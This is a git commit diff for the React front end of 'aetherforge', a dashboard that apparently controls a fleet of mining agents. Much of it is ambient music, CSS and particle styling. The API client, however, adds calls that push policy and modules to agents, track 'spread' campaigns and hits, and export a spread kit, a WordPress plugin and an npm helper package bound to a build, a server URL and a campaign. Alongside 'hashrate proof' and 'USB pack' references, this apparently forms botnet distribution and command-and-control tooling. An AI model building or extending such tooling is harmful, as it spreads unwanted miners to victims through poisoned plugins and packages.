feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -31,9 +31,9 @@ vi.mock('./components/Layout/Layout', () => ({
|
||||
vi.mock('./pages/DashboardPage', () => ({ default: () => <div>Dashboard Page</div> }));
|
||||
vi.mock('./pages/AgentsPage', () => ({ default: () => <div>Agents Page</div> }));
|
||||
vi.mock('./pages/BuilderPage', () => ({ default: () => <div>Forge Page</div> }));
|
||||
vi.mock('./pages/MissionDeckPage', () => ({ default: () => <div>Mission Deck Page</div> }));
|
||||
vi.mock('./pages/BuildManagerPage', () => ({ default: () => <div>Builds Page</div> }));
|
||||
vi.mock('./pages/SettingsPage', () => ({ default: () => <div>Settings Page</div> }));
|
||||
vi.mock('./pages/GuidePage', () => ({ default: () => <div>Guide Page</div> }));
|
||||
vi.mock('./pages/CruciblePage', () => ({ default: () => <div>Crucible Page</div> }));
|
||||
|
||||
describe('PageFallback', () => {
|
||||
@@ -73,4 +73,15 @@ describe('App route config', () => {
|
||||
expect(await screen.findByText('Crucible Page')).toBeTruthy();
|
||||
expect(screen.getByTestId('layout')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('renders mission-deck route via App shell', async () => {
|
||||
const { unmount } = render(
|
||||
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
|
||||
<App />
|
||||
</MemoryRouter>
|
||||
);
|
||||
expect(await screen.findByText('Mission Deck Page')).toBeTruthy();
|
||||
expect(screen.getAllByTestId('layout').length).toBeGreaterThan(0);
|
||||
unmount();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -3,6 +3,7 @@ import { Routes, Route, Navigate } from 'react-router-dom';
|
||||
import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
import { PresenceProvider } from './context/PresenceContext';
|
||||
import { SoundProvider } from './context/SoundContext';
|
||||
import { AmbientMusicProvider } from './context/AmbientMusicContext';
|
||||
import { VisualEffectsProvider } from './context/VisualEffectsContext';
|
||||
@@ -14,9 +15,9 @@ import GlobalMusicPlayer from './components/GlobalMusicPlayer';
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
|
||||
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
|
||||
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||
@@ -34,6 +35,7 @@ function App() {
|
||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<PresenceProvider>
|
||||
<SoundProvider>
|
||||
<AmbientMusicProvider>
|
||||
<VisualEffectsProvider>
|
||||
@@ -50,11 +52,11 @@ function App() {
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/mission-deck" element={<MissionDeckPage />} />
|
||||
<Route path="/crucible" element={<CruciblePage />} />
|
||||
<Route path="/builds" element={<BuildManagerPage />} />
|
||||
<Route path="/emberwake" element={<EmberwakePage />} />
|
||||
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||
</Routes>
|
||||
@@ -66,6 +68,7 @@ function App() {
|
||||
</VisualEffectsProvider>
|
||||
</AmbientMusicProvider>
|
||||
</SoundProvider>
|
||||
</PresenceProvider>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -58,6 +58,20 @@ export function getStoredAuth(): string | null {
|
||||
return readAuthStorage();
|
||||
}
|
||||
|
||||
/** Username from stored Basic auth token (before the colon). */
|
||||
export function getStoredUsername(): string | null {
|
||||
const token = getStoredAuth();
|
||||
if (!token) return null;
|
||||
try {
|
||||
const decoded = atob(token);
|
||||
const idx = decoded.indexOf(':');
|
||||
if (idx <= 0) return null;
|
||||
return decoded.slice(0, idx);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
|
||||
const token = encodeBasicToken(username, password);
|
||||
writeAuthStorage(token);
|
||||
|
||||
@@ -302,6 +302,21 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||||
pushFleetPolicy: (body: {
|
||||
agent_ids: string[];
|
||||
policy: Record<string, unknown>;
|
||||
}) =>
|
||||
fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
pushFleetModule: (body: { agent_ids: string[]; module: string }) =>
|
||||
fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>(
|
||||
'/fleet/modules/push',
|
||||
{ method: 'POST', body: JSON.stringify(body) },
|
||||
),
|
||||
|
||||
// Public builds (unauthenticated — used on login page)
|
||||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||||
const res = await fetch(`${API_BASE}/public/builds`);
|
||||
@@ -318,6 +333,8 @@ export const api = {
|
||||
}),
|
||||
listCampaignHits: () =>
|
||||
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
|
||||
getWarRoom: (days = 7) =>
|
||||
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
|
||||
|
||||
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
||||
@@ -336,6 +353,47 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportWordPressPlugin: async (req: {
|
||||
build_id: string;
|
||||
server_url: string;
|
||||
campaign: string;
|
||||
site_name: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `${slug}-wordpress-plugin.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/npm-helper-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `${slug}-npm-helper.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
|
||||
@@ -9,6 +9,7 @@ import {
|
||||
BGM_STORAGE_KEY,
|
||||
BGM_VOLUME_KEY,
|
||||
AMBIENT_MUSIC_SRC,
|
||||
MODAL_AMBIENT_DUCK_FACTOR,
|
||||
} from './ambientMusic';
|
||||
|
||||
describe('ambientMusic prefs', () => {
|
||||
@@ -40,4 +41,15 @@ describe('ambientMusic prefs', () => {
|
||||
it('points at public audio path', () => {
|
||||
expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
|
||||
});
|
||||
|
||||
it('ducks effective volume 30% while modal registered', () => {
|
||||
const p = new AmbientMusicPlayer();
|
||||
p.setVolume(1);
|
||||
p.setPageIntensity(0.8);
|
||||
const base = p.getEffectiveVolume();
|
||||
const unregister = p.registerModalDuck();
|
||||
expect(p.getEffectiveVolume()).toBeCloseTo(base * MODAL_AMBIENT_DUCK_FACTOR);
|
||||
unregister();
|
||||
expect(p.isModalDuckActive()).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -7,6 +7,36 @@ export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
|
||||
/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
|
||||
export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
|
||||
|
||||
/** Route → playback multiplier (0–1). User volume × intensity = effective output. */
|
||||
export const PAGE_AMBIENT_INTENSITY: Record<string, number> = {
|
||||
'/forge': 1,
|
||||
'/builder': 1,
|
||||
'/mission-deck': 0.95,
|
||||
'/emberwake': 0.8,
|
||||
'/spread': 0.8,
|
||||
'/crucible': 0.75,
|
||||
'/agents': 0.7,
|
||||
'/dashboard': 0.65,
|
||||
'/builds': 0.55,
|
||||
'/pathtracer': 0.4,
|
||||
'/settings': 0.25,
|
||||
};
|
||||
|
||||
/** Multiply page intensity by this when a modal/wizard is open (30% duck). */
|
||||
export const MODAL_AMBIENT_DUCK_FACTOR = 0.7;
|
||||
export const MODAL_AMBIENT_SWELL_MS = 400;
|
||||
|
||||
export function resolvePageAmbientIntensity(pathname: string): number {
|
||||
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (PAGE_AMBIENT_INTENSITY[path] !== undefined) {
|
||||
return PAGE_AMBIENT_INTENSITY[path];
|
||||
}
|
||||
for (const [prefix, intensity] of Object.entries(PAGE_AMBIENT_INTENSITY)) {
|
||||
if (prefix !== '/' && path.startsWith(prefix)) return intensity;
|
||||
}
|
||||
return 0.65;
|
||||
}
|
||||
|
||||
export function loadBgmEnabled(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(BGM_STORAGE_KEY);
|
||||
@@ -47,6 +77,11 @@ export class AmbientMusicPlayer {
|
||||
private audio: HTMLAudioElement | null = null;
|
||||
private enabled = loadBgmEnabled();
|
||||
private volume = loadBgmVolume();
|
||||
private pageIntensity = 1;
|
||||
private modalDuckRegistrations = 0;
|
||||
/** 0 = full duck, 1 = no duck — animated on swell. */
|
||||
private duckBlend = 1;
|
||||
private swellFrame: number | null = null;
|
||||
private unlocked = false;
|
||||
private playing = false;
|
||||
private listeners = new Set<(playing: boolean) => void>();
|
||||
@@ -63,6 +98,82 @@ export class AmbientMusicPlayer {
|
||||
return this.volume;
|
||||
}
|
||||
|
||||
getPageIntensity() {
|
||||
return this.pageIntensity;
|
||||
}
|
||||
|
||||
getEffectiveVolume() {
|
||||
return this.volume * this.pageIntensity * this.getDuckMultiplier();
|
||||
}
|
||||
|
||||
isModalDuckActive() {
|
||||
return this.modalDuckRegistrations > 0 || this.duckBlend < 1;
|
||||
}
|
||||
|
||||
private getDuckMultiplier() {
|
||||
return MODAL_AMBIENT_DUCK_FACTOR + this.duckBlend * (1 - MODAL_AMBIENT_DUCK_FACTOR);
|
||||
}
|
||||
|
||||
/** Register an open modal/wizard; returns unregister (runs swell when last closes). */
|
||||
registerModalDuck(): () => void {
|
||||
this.cancelSwell();
|
||||
this.modalDuckRegistrations += 1;
|
||||
if (this.modalDuckRegistrations === 1) {
|
||||
this.duckBlend = 0;
|
||||
this.applyVolume();
|
||||
}
|
||||
return () => {
|
||||
this.modalDuckRegistrations = Math.max(0, this.modalDuckRegistrations - 1);
|
||||
if (this.modalDuckRegistrations === 0) {
|
||||
this.startSwell();
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
private cancelSwell() {
|
||||
if (this.swellFrame !== null && typeof cancelAnimationFrame !== 'undefined') {
|
||||
cancelAnimationFrame(this.swellFrame);
|
||||
this.swellFrame = null;
|
||||
}
|
||||
}
|
||||
|
||||
private startSwell() {
|
||||
this.cancelSwell();
|
||||
const startBlend = this.duckBlend;
|
||||
const startTime = typeof performance !== 'undefined' ? performance.now() : 0;
|
||||
const duration = MODAL_AMBIENT_SWELL_MS;
|
||||
|
||||
const tick = (now: number) => {
|
||||
const t = Math.min(1, (now - startTime) / duration);
|
||||
const eased = 1 - (1 - t) * (1 - t);
|
||||
this.duckBlend = startBlend + (1 - startBlend) * eased;
|
||||
this.applyVolume();
|
||||
if (t < 1 && typeof requestAnimationFrame !== 'undefined') {
|
||||
this.swellFrame = requestAnimationFrame(tick);
|
||||
} else {
|
||||
this.duckBlend = 1;
|
||||
this.swellFrame = null;
|
||||
this.applyVolume();
|
||||
}
|
||||
};
|
||||
|
||||
if (typeof requestAnimationFrame !== 'undefined') {
|
||||
this.swellFrame = requestAnimationFrame(tick);
|
||||
} else {
|
||||
this.duckBlend = 1;
|
||||
this.applyVolume();
|
||||
}
|
||||
}
|
||||
|
||||
setPageIntensity(intensity: number) {
|
||||
this.pageIntensity = Math.min(1, Math.max(0, intensity));
|
||||
this.applyVolume();
|
||||
}
|
||||
|
||||
private applyVolume() {
|
||||
if (this.audio) this.audio.volume = this.getEffectiveVolume();
|
||||
}
|
||||
|
||||
subscribe(fn: (playing: boolean) => void) {
|
||||
this.listeners.add(fn);
|
||||
return () => { this.listeners.delete(fn); };
|
||||
@@ -88,7 +199,7 @@ export class AmbientMusicPlayer {
|
||||
setVolume(volume: number) {
|
||||
this.volume = Math.min(1, Math.max(0, volume));
|
||||
persistBgmVolume(this.volume);
|
||||
if (this.audio) this.audio.volume = this.volume;
|
||||
this.applyVolume();
|
||||
}
|
||||
|
||||
/** Browsers block autoplay until a user gesture unlocks audio. */
|
||||
@@ -116,7 +227,7 @@ export class AmbientMusicPlayer {
|
||||
const el = new Audio(AMBIENT_MUSIC_SRC);
|
||||
el.loop = true;
|
||||
el.preload = 'auto';
|
||||
el.volume = this.volume;
|
||||
el.volume = this.getEffectiveVolume();
|
||||
el.addEventListener('play', () => this.setPlaying(true));
|
||||
el.addEventListener('pause', () => this.setPlaying(false));
|
||||
el.addEventListener('ended', () => this.setPlaying(false));
|
||||
@@ -136,7 +247,7 @@ export class AmbientMusicPlayer {
|
||||
if (!this.enabled) return false;
|
||||
this.ensureAudio();
|
||||
if (!this.audio) return false;
|
||||
this.audio.volume = this.volume;
|
||||
this.applyVolume();
|
||||
try {
|
||||
await this.audio.play();
|
||||
this.setPlaying(true);
|
||||
|
||||
@@ -4,6 +4,11 @@
|
||||
z-index: 0;
|
||||
pointer-events: none;
|
||||
overflow: hidden;
|
||||
--weather-intensity: 0.65;
|
||||
--weather-layer-opacity: 0.55;
|
||||
--weather-grid-drift: 48s;
|
||||
--weather-orb-drift: 14s;
|
||||
--weather-sacred-opacity: 0.07;
|
||||
}
|
||||
|
||||
.ambient-grid {
|
||||
@@ -15,10 +20,10 @@
|
||||
linear-gradient(rgba(0, 245, 255, 0.02) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(0, 245, 255, 0.02) 1px, transparent 1px);
|
||||
background-size: 80px 80px, 80px 80px, 20px 20px, 20px 20px;
|
||||
animation: grid-drift 40s linear infinite;
|
||||
animation: grid-drift var(--weather-grid-drift) linear infinite;
|
||||
transform: perspective(500px) rotateX(60deg) scale(2);
|
||||
transform-origin: center top;
|
||||
opacity: 0.6;
|
||||
opacity: var(--weather-layer-opacity);
|
||||
}
|
||||
|
||||
.ambient-vignette {
|
||||
@@ -31,7 +36,8 @@
|
||||
position: absolute;
|
||||
border-radius: 50%;
|
||||
filter: blur(80px);
|
||||
animation: float-orb 12s ease-in-out infinite;
|
||||
animation: float-orb var(--weather-orb-drift) ease-in-out infinite;
|
||||
opacity: calc(0.35 + var(--weather-intensity) * 0.65);
|
||||
}
|
||||
|
||||
.ambient-orb-cyan {
|
||||
@@ -111,7 +117,7 @@
|
||||
transform: translateY(-50%);
|
||||
width: min(38vw, 680px);
|
||||
height: min(38vw, 680px);
|
||||
opacity: 0.07;
|
||||
opacity: var(--weather-sacred-opacity);
|
||||
animation: sacred-geo-rotate 120s linear infinite;
|
||||
pointer-events: none;
|
||||
filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3));
|
||||
@@ -121,3 +127,78 @@
|
||||
from { transform: translateY(-50%) rotate(0deg); }
|
||||
to { transform: translateY(-50%) rotate(360deg); }
|
||||
}
|
||||
|
||||
/* ── Page weather vibes ───────────────────────────────────────────────────── */
|
||||
|
||||
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-cyan {
|
||||
background: rgba(212, 175, 55, 0.14);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-magenta {
|
||||
background: rgba(232, 93, 74, 0.1);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-orb-amber {
|
||||
background: rgba(255, 140, 58, 0.12);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='crucible-embers'] .ambient-scanline {
|
||||
opacity: 0.25;
|
||||
}
|
||||
|
||||
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-cyan {
|
||||
background: rgba(255, 95, 25, 0.14);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-magenta {
|
||||
background: rgba(255, 55, 90, 0.1);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='emberwake-pulse'] .ambient-orb-amber {
|
||||
background: rgba(255, 176, 32, 0.14);
|
||||
}
|
||||
|
||||
.ambient-energy-pulse {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
z-index: 0;
|
||||
pointer-events: none;
|
||||
background: radial-gradient(
|
||||
ellipse 70% 55% at 50% 45%,
|
||||
rgba(255, 95, 25, 0.12) 0%,
|
||||
transparent 70%
|
||||
);
|
||||
animation: ambient-energy-beat 3.2s ease-in-out infinite;
|
||||
mix-blend-mode: screen;
|
||||
}
|
||||
|
||||
@keyframes ambient-energy-beat {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.25;
|
||||
transform: scale(1);
|
||||
}
|
||||
50% {
|
||||
opacity: 0.85;
|
||||
transform: scale(1.04);
|
||||
}
|
||||
}
|
||||
|
||||
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-grid {
|
||||
opacity: calc(var(--weather-layer-opacity) * 0.45);
|
||||
animation-duration: calc(var(--weather-grid-drift) * 1.5);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-orb {
|
||||
filter: blur(100px);
|
||||
opacity: calc(var(--weather-intensity) * 0.5);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-gear,
|
||||
.ambient-bg[data-weather-vibe='starfield-dim'] .ambient-scanline {
|
||||
opacity: 0.15;
|
||||
}
|
||||
|
||||
.ambient-bg[data-weather-vibe='forge-glow'] .ambient-grid {
|
||||
opacity: calc(var(--weather-layer-opacity) * 1.05);
|
||||
}
|
||||
.ambient-bg[data-weather-vibe='forge-glow'] .ambient-orb {
|
||||
opacity: calc(0.5 + var(--weather-intensity) * 0.5);
|
||||
}
|
||||
|
||||
.ambient-bg[data-weather-vibe='medium-drift'] .ambient-orb {
|
||||
opacity: calc(0.4 + var(--weather-intensity) * 0.55);
|
||||
}
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import { CSSProperties } from 'react';
|
||||
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import { DEFAULT_PAGE_WEATHER, type PageWeatherConfig } from '../../help/pageWeather';
|
||||
import GlowParticles from './GlowParticles';
|
||||
import './AmbientBackground.css';
|
||||
|
||||
@@ -7,15 +9,33 @@ function SacredGeometry() {
|
||||
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
|
||||
}
|
||||
|
||||
export default function AmbientBackground() {
|
||||
interface AmbientBackgroundProps {
|
||||
weather?: PageWeatherConfig;
|
||||
}
|
||||
|
||||
export default function AmbientBackground({ weather = DEFAULT_PAGE_WEATHER }: AmbientBackgroundProps) {
|
||||
const style = {
|
||||
'--weather-intensity': weather.intensity,
|
||||
'--weather-layer-opacity': weather.layerOpacity,
|
||||
'--weather-grid-drift': `${weather.gridDrift}s`,
|
||||
'--weather-orb-drift': `${weather.orbDrift}s`,
|
||||
'--weather-sacred-opacity': Math.max(0.04, weather.layerOpacity * 0.12),
|
||||
} as CSSProperties;
|
||||
|
||||
return (
|
||||
<div className="ambient-bg" aria-hidden>
|
||||
<div
|
||||
className="ambient-bg"
|
||||
data-weather-vibe={weather.vibe}
|
||||
style={style}
|
||||
aria-hidden
|
||||
>
|
||||
<div className="ambient-grid" />
|
||||
<GlowParticles />
|
||||
<GlowParticles weather={weather} />
|
||||
<div className="ambient-vignette" />
|
||||
<div className="ambient-orb ambient-orb-cyan" />
|
||||
<div className="ambient-orb ambient-orb-magenta" />
|
||||
<div className="ambient-orb ambient-orb-amber" />
|
||||
{weather.energyPulse && <div className="ambient-energy-pulse" />}
|
||||
<div className="ambient-scanline" />
|
||||
<div className="ambient-gear ambient-gear-1" />
|
||||
<div className="ambient-gear ambient-gear-2" />
|
||||
@@ -26,7 +46,6 @@ export default function AmbientBackground() {
|
||||
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
|
||||
<SacredMotif name="hex" opacity={0.6} />
|
||||
</div>
|
||||
{/* Sacred geometry watermark — centre of the main content area */}
|
||||
<SacredGeometry />
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
height: 100%;
|
||||
z-index: 1;
|
||||
pointer-events: none;
|
||||
opacity: 0.92;
|
||||
mix-blend-mode: screen;
|
||||
transition: opacity 0.6s ease;
|
||||
}
|
||||
|
||||
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
|
||||
@@ -103,6 +103,38 @@
|
||||
}
|
||||
}
|
||||
|
||||
.ambient-css-sparkles[data-weather-vibe='starfield-dim'] .ambient-sparkle {
|
||||
color: rgba(200, 210, 240, 0.5);
|
||||
animation-duration: 7s;
|
||||
box-shadow:
|
||||
0 0 4px 1px currentColor,
|
||||
0 0 10px 2px currentColor;
|
||||
}
|
||||
|
||||
.ambient-css-sparkles[data-weather-vibe='crucible-embers'] .ambient-sparkle {
|
||||
animation-duration: 6.5s;
|
||||
}
|
||||
|
||||
.ambient-css-sparkles[data-weather-vibe='emberwake-pulse'] .ambient-sparkle {
|
||||
animation: ambient-sparkle-campaign 2.8s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes ambient-sparkle-campaign {
|
||||
0%,
|
||||
100% {
|
||||
transform: scale(0.5);
|
||||
opacity: 0.2;
|
||||
}
|
||||
45% {
|
||||
transform: scale(1.6);
|
||||
opacity: 1;
|
||||
}
|
||||
55% {
|
||||
transform: scale(1.2);
|
||||
opacity: 0.7;
|
||||
}
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ambient-glow-canvas {
|
||||
opacity: 0.5;
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
|
||||
import { useVisualEffects } from '../../context/VisualEffectsContext';
|
||||
import {
|
||||
DEFAULT_PAGE_WEATHER,
|
||||
WEATHER_PALETTES,
|
||||
type GlowColor,
|
||||
type PageWeatherConfig,
|
||||
} from '../../help/pageWeather';
|
||||
import './GlowParticles.css';
|
||||
|
||||
const PALETTE = [
|
||||
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
|
||||
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
|
||||
] as const;
|
||||
|
||||
type Particle = {
|
||||
x: number;
|
||||
y: number;
|
||||
@@ -18,28 +17,41 @@ type Particle = {
|
||||
r: number;
|
||||
pulse: number;
|
||||
pulseSpeed: number;
|
||||
color: (typeof PALETTE)[number];
|
||||
color: GlowColor;
|
||||
};
|
||||
|
||||
function particleCount(mobile: boolean): number {
|
||||
function particleCount(mobile: boolean, density: number): number {
|
||||
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
|
||||
if (cores <= 2) return mobile ? 18 : 28;
|
||||
if (mobile) return 32;
|
||||
return cores >= 8 ? 64 : 48;
|
||||
let base: number;
|
||||
if (cores <= 2) base = mobile ? 18 : 28;
|
||||
else if (mobile) base = 32;
|
||||
else base = cores >= 8 ? 64 : 48;
|
||||
return Math.max(8, Math.round(base * density));
|
||||
}
|
||||
|
||||
function initParticles(w: number, h: number, n: number): Particle[] {
|
||||
function initParticles(
|
||||
w: number,
|
||||
h: number,
|
||||
n: number,
|
||||
palette: readonly GlowColor[],
|
||||
speed: number,
|
||||
pulse: number,
|
||||
vibe: PageWeatherConfig['vibe'],
|
||||
): Particle[] {
|
||||
const out: Particle[] = [];
|
||||
const speedScale = 0.35 * speed;
|
||||
const riseBias = vibe === 'crucible-embers' ? -0.08 * speed : 0;
|
||||
|
||||
for (let i = 0; i < n; i++) {
|
||||
out.push({
|
||||
x: Math.random() * w,
|
||||
y: Math.random() * h,
|
||||
vx: (Math.random() - 0.5) * 0.35,
|
||||
vy: (Math.random() - 0.5) * 0.35,
|
||||
vx: (Math.random() - 0.5) * speedScale,
|
||||
vy: (Math.random() - 0.5) * speedScale + riseBias,
|
||||
r: 1.2 + Math.random() * 2.2,
|
||||
pulse: Math.random() * Math.PI * 2,
|
||||
pulseSpeed: 0.008 + Math.random() * 0.012,
|
||||
color: PALETTE[i % PALETTE.length],
|
||||
pulseSpeed: (0.008 + Math.random() * 0.012) * pulse,
|
||||
color: palette[i % palette.length],
|
||||
});
|
||||
}
|
||||
return out;
|
||||
@@ -60,13 +72,18 @@ function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
|
||||
ctx.restore();
|
||||
}
|
||||
|
||||
interface GlowParticlesProps {
|
||||
weather?: PageWeatherConfig;
|
||||
}
|
||||
|
||||
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
|
||||
export default function GlowParticles() {
|
||||
export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowParticlesProps) {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
const particlesRef = useRef<Particle[]>([]);
|
||||
const rafRef = useRef(0);
|
||||
const isMobile = useIsMobileLayout();
|
||||
const { glowParticles } = useVisualEffects();
|
||||
const palette = WEATHER_PALETTES[weather.palette];
|
||||
|
||||
useEffect(() => {
|
||||
if (!glowParticles) return;
|
||||
@@ -77,8 +94,11 @@ export default function GlowParticles() {
|
||||
const ctx = canvas.getContext('2d');
|
||||
if (!ctx) return;
|
||||
|
||||
const linkDist = isMobile ? 90 : 130;
|
||||
const baseLinkDist = isMobile ? 90 : 130;
|
||||
const linkDist = baseLinkDist * (0.5 + weather.linkStrength * 0.5);
|
||||
const linkDistSq = linkDist * linkDist;
|
||||
const linkAlpha = 0.35 * weather.linkStrength * weather.intensity;
|
||||
const glowAlphaBase = 0.55 * weather.intensity;
|
||||
|
||||
const resize = () => {
|
||||
const dpr = Math.min(window.devicePixelRatio || 1, 2);
|
||||
@@ -89,7 +109,15 @@ export default function GlowParticles() {
|
||||
canvas.style.width = `${w}px`;
|
||||
canvas.style.height = `${h}px`;
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
particlesRef.current = initParticles(w, h, particleCount(isMobile));
|
||||
particlesRef.current = initParticles(
|
||||
w,
|
||||
h,
|
||||
particleCount(isMobile, weather.density),
|
||||
palette,
|
||||
weather.speed,
|
||||
weather.pulse,
|
||||
weather.vibe,
|
||||
);
|
||||
};
|
||||
|
||||
resize();
|
||||
@@ -105,6 +133,10 @@ export default function GlowParticles() {
|
||||
const h = canvas.clientHeight;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
|
||||
const energyMod = weather.energyPulse
|
||||
